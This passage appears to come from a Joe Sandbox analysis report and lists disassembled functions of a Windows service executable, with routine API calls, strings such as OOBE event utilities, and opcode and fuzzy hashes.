ResetEvent.KERNEL32(?,?,?,00404417,000000FF,000000FF,?,?), ref: 0040B32E

Strings

NULL OOBE_Event_t object passed in WaitforEvent , xrefs: 0040B298, 0040B2D6
OOBEEvents, xrefs: 0040B2A7, 0040B2DB
OOBEUtils, xrefs: 0040B2AC

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: EventObjectResetSingleWait
String ID: NULL OOBE_Event_t object passed in WaitforEvent $OOBEEvents$OOBEUtils
API String ID: 3162950495-832234452
Opcode ID: c206187707b054cee0fab18e90408e3dcbedc60c60ed156cedcffc0df12259e5
Instruction ID: ed9a0f1cae05966dad16be02516542e9fa838564d8aed4eb53f716a594107257
Opcode Fuzzy Hash: c206187707b054cee0fab18e90408e3dcbedc60c60ed156cedcffc0df12259e5
Instruction Fuzzy Hash: C11108317802155BEB208B599C47B5A7748EB01B31F6407BBFC69E72D0CB65AC1046DC

Function 00403E40 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 00403EDB

Strings

readDataCallBack : Setting event for read data callback, xrefs: 00403E53
NULL OOBE_Event_t object passed in SetEvnt , xrefs: 00403E7C, 00403EB3
OOBEEvents, xrefs: 00403E8B, 00403EB8
OOBEUtils, xrefs: 00403E90

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Event
String ID: NULL OOBE_Event_t object passed in SetEvnt $OOBEEvents$OOBEUtils$readDataCallBack : Setting event for read data callback
API String ID: 4201588131-2675428969
Opcode ID: 8d0fe7199531401063d2ff202e2e47731f7e3bb82e1b5197b15312e4f729c641
Instruction ID: 4701acb43a26968b7f86df0609fe2f1396b750fb55ec2d1e5461187ebc36528e
Opcode Fuzzy Hash: 8d0fe7199531401063d2ff202e2e47731f7e3bb82e1b5197b15312e4f729c641
Instruction Fuzzy Hash: 7101A532780224ABC6109B59EC42A5B7B5CEF65B137140077FA09A72D0CB7ABD508BED

Function 00403EF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,BB40E64E,00000000,00000008,00000000,00497500,000000FF,?,004059AA), ref: 00403F86

Strings

NULL OOBE_Event_t object passed in SetEvnt , xrefs: 00403F2B, 00403F60
OOBEEvents, xrefs: 00403F3A, 00403F65
OOBEUtils, xrefs: 00403F3F

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Event
String ID: NULL OOBE_Event_t object passed in SetEvnt $OOBEEvents$OOBEUtils
API String ID: 4201588131-2429184316
Opcode ID: 5593ad2a507a23b0f7cd9ec3a726937450f1b810ed9e790710a49eada20f922d
Instruction ID: 925ded1f5c256d2d7ca2cb9baee336687e69f41301eaf6f7f9b06fcd4507b0e0
Opcode Fuzzy Hash: 5593ad2a507a23b0f7cd9ec3a726937450f1b810ed9e790710a49eada20f922d
Instruction Fuzzy Hash: 0E310270740602ABD708CF15CD95B5ABBA8FF45715F10023AE609A7AD0DB7DF9508B9C

Function 0040BB70 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 0040BC81

Part of subcall function 0046B5AE: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,004C94C0,?,?,00468759,?,004C13D0,?), ref: 0046B60E

Strings

ios_base::failbit set, xrefs: 0040BAA5, 0040BBB1
ios_base::badbit set, xrefs: 0040BBA7, 0040BBD2, 0040BC01
ios_base::eofbit set, xrefs: 0040BBB6

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ExceptionInitRaisestd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2020603122-1866435925
Opcode ID: 02f188c2921aaeed174908c3ed2f8e321f5381dadfdf40a2248bed2df7ff2a08
Instruction ID: 1c84d52ffb255289c8c822d3fe868fb1937b2b01e66fc20b4b360ecd81d27cfb
Opcode Fuzzy Hash: 02f188c2921aaeed174908c3ed2f8e321f5381dadfdf40a2248bed2df7ff2a08
Instruction Fuzzy Hash: 923104B1900704BBD310DF55C806B96B7A4FB00718F10422FE8049BAC1E7BEB5548BDA

Function 00401770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

SetServiceStatus.ADVAPI32(004C8C64), ref: 00401821
GetLastError.KERNEL32 ref: 00401877

Strings

ReportSvcStatus : Setting Service Status state to %d , xrefs: 00401800
ReportSvcStatus : Set Service Status returned Error %d, while setting state to %d , xrefs: 0040187E

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorLastServiceStatus
String ID: ReportSvcStatus : Set Service Status returned Error %d, while setting state to %d $ReportSvcStatus : Setting Service Status state to %d
API String ID: 1547514316-586121575
Opcode ID: b1f02e58a53d84fc7e1140356b729e7ad3c4ef579053cb0ed929bf1a68765758
Instruction ID: 2a8e6345c1da827573bafa61699fe2058e0613da09c450c42f65518c3299f71e
Opcode Fuzzy Hash: b1f02e58a53d84fc7e1140356b729e7ad3c4ef579053cb0ed929bf1a68765758
Instruction Fuzzy Hash: 3431C1B1A40215AFE700DF5ADC85F5A7BA8EB04724F14417FF904A7391EF74AA008BA9

Function 0270E5EA Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0270E6B1
___AdjustPointer.LIBCMT ref: 0270E6D4
___AdjustPointer.LIBCMT ref: 0270E770

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 23bf213e71c50ce3c7588569dbc33dff54ee26234ddd5d9921d5ac294631473a
Instruction ID: 44a2ebec639f902f4d08d3f80e2f08edf3ddd2dbc43506e9cbc25a2e311d9561
Opcode Fuzzy Hash: 23bf213e71c50ce3c7588569dbc33dff54ee26234ddd5d9921d5ac294631473a
Instruction Fuzzy Hash: F051E072601306EFDB2A8F94E8C4B6AB7E5EF44314F14492DE905572E2E771F889CB90

Function 00414530 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 004145A9
std::_Facet_Register.LIBCPMT ref: 0041461B
std::_Lockit::~_Lockit.LIBCPMT ref: 0041463D
Concurrency::cancel_current_task.LIBCPMT ref: 00414660

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: std::_$LockitLockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2694047013-0
Opcode ID: 6201b34415790ecdc3c4312f4d7271bec7e3576b96991d2cb71848aa7408f576
Instruction ID: cab6b8252c7ea6f46c49d82a6c8e4df40f83147f90a4d45c9da3e1dc65de2ae0
Opcode Fuzzy Hash: 6201b34415790ecdc3c4312f4d7271bec7e3576b96991d2cb71848aa7408f576
Instruction Fuzzy Hash: 6A41DD728001499FCB10DF59C880AAEB7B5FB94324F24426ED905633A0EB38AD41CB9A

Function 00404306 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0041FA30: WaitForSingleObject.KERNEL32(00000008,000000FF,00000000,00000008,00405984,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB10
Part of subcall function 0041FA30: CloseHandle.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB19

CloseHandle.KERNEL32(00000000), ref: 004044EC

Strings

OOBEEvents, xrefs: 0040435B, 004044C6
NULL OOBE_Event_t object passed in DestroyEvent , xrefs: 0040434C, 004044C1
OOBEUtils, xrefs: 00404360

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle$ObjectSingleWait
String ID: NULL OOBE_Event_t object passed in DestroyEvent $OOBEEvents$OOBEUtils
API String ID: 2079671238-3942007460
Opcode ID: 4e7abf2cf1a66fdbb446cba8b09f4a72dc1d6461a6f6d23e6cde9c9ed48dca8b
Instruction ID: aac3e4b64ef8bd33976eafc0c19c8d66d4ba662bde6bb840a130360140da2fc7
Opcode Fuzzy Hash: 4e7abf2cf1a66fdbb446cba8b09f4a72dc1d6461a6f6d23e6cde9c9ed48dca8b
Instruction Fuzzy Hash: 87212670B843109BCB20DF148C4675A3B58AF51B11F1404BFE9466B2C1DEBCA905C7AE

Function 00404050 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,00000000,00000008,?,?,004059AA), ref: 0040405B
DeleteCriticalSection.KERNEL32(00497733,?,?,004059AA), ref: 00404065
CoInitialize.OLE32(00000000,?,?,004059AA), ref: 004040F5
CoUninitialize.OLE32(?,?,004059AA,?,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 00404103

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalDeleteSection$InitializeUninitialize
String ID:
API String ID: 161803370-0
Opcode ID: 1374b990ee36924d85f733176f9cff0057eba2b114e7e0308ad5df1b95475ba0
Instruction ID: 8dbd2ad74c855c1e3886fba8a0bf51dabcff8673f71024995de98868baa7c6da
Opcode Fuzzy Hash: 1374b990ee36924d85f733176f9cff0057eba2b114e7e0308ad5df1b95475ba0
Instruction Fuzzy Hash: EF11B2B16001416BD704EBA6DC49B59B7A8FF90319F10013AF309C7A90DBB9F964C7AA

Function 0270DE91 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0270DEAD
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0270DEC6

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 4ee3819c82200233a02d2690cbc952527884f9f81e5f8f058464aa55a89b9ba0
Instruction ID: c4de3f3de4c9917dacb5574c4fa2b2f57b74ac922a3e1d74d3eeae569bd84040
Opcode Fuzzy Hash: 4ee3819c82200233a02d2690cbc952527884f9f81e5f8f058464aa55a89b9ba0
Instruction Fuzzy Hash: E4019732648322EEA73632F47CC966A3BE5EF02274B204739E524800D0EF601C1E9B80

Function 0046A3FC Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0046A40E
GetCurrentThreadId.KERNEL32 ref: 0046A41D
GetCurrentProcessId.KERNEL32 ref: 0046A426
QueryPerformanceCounter.KERNEL32(?), ref: 0046A433

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ac1283240fa4666ab2caaaff0c877bff52670fbfcb2ac06dcdcff882bb556bcf
Instruction ID: e4e9c80c65a6a08ef3cfff89654f3def58ef4d81fe7765c738179de465d37d3f
Opcode Fuzzy Hash: ac1283240fa4666ab2caaaff0c877bff52670fbfcb2ac06dcdcff882bb556bcf
Instruction Fuzzy Hash: 50F05F71C10209EBCB04DBB5DA49A9EBBF8EF28305F5148A69412E7150E774AB049F55

Function 0041FE90 Relevance: 5.4, APIs: 4, Instructions: 417COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?), ref: 0041FF5B
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 0041FF65

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8d4374fadd7b43dced5683e9704e2794f3d6c2d318b486cb43d93fc2591642e0
Instruction ID: bd9ddbb0fe4a3e6c369a6c316b03fe687d8d5a0e13e3211eb2381caa863402dd
Opcode Fuzzy Hash: 8d4374fadd7b43dced5683e9704e2794f3d6c2d318b486cb43d93fc2591642e0
Instruction Fuzzy Hash: BAF19B72A00218AFCF00DF98D880AAEBBF5FF48310F54456AF945A7352D735AD45CBA9

Function 0046A7CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00402170: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,?,0040320B,?,?,?,?,\\.\pipe\,00000009,?,?), ref: 00402175
Part of subcall function 00402170: GetLastError.KERNEL32(?,00000000,00000000,?,0040320B,?,?,?,?,\\.\pipe\,00000009,?,?), ref: 0040217F

IsDebuggerPresent.KERNEL32(?,?,?,0040120A), ref: 0046A7FE
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0040120A), ref: 0046A80D

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0046A808

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 00762af9e337a6805c8ac2cb9da72729d3ba67172526ae018d23e5fce0be16ff
Instruction ID: 855bd9d759665368c18885314bfe8a93a87ca15081f3247de167772f86f515d8
